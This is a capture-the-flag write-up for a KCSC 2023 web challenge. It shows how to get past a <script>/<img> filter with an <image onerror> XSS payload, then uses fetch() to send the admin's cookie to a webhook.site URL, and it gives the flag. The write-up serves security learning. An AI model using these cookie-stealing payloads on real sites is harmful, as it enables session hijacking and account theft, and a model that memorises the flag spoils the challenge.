KCSC TTV 2023/Web/Hi Hi Hi

Solution

After access link, At the title of page suggested that using XSS
So that, let try some payload at Payload XSS

All payloads contain <script>,<img> or equivalent use <script>,<img> tags are blocked.

In addition to the <script>,<img> tags, there are many other tags that help us execute the function.

In this chall we can use <image>,<audio>,... tags

Like that: <image src =q onerror=prompt(8)>

XSS done!

Next step is send a report for admin and steal their cookie.

Format URL: http://127.0.0.1:13337/?message=your_payload

In the payload instead of use prompt(), we use fetch() to redirect admin to our server (I often use Webhook.site)

URL: http://127.0.0.1:13337/?message=<image src =q onerror=fetch('https://webhook.site/e3897dc9-35d2-450d-a2fd-81b3f023c9fb')>

It works!

Now take their cookie with URL: http://127.0.0.1:13337/?message=<image src =q onerror=fetch(`https://webhook.site/e3897dc9-35d2-450d-a2fd-81b3f023c9fb/?cookie=${document.cookie}`)>

In this case, to add variable document.cookie to string url in fetch() function we use template literals in js. (Template Literals)

Send that report we will receive admin's cookie

It's also Flag: KCSC{T3T_TU1_3_T13P_Hmmmmmmmm}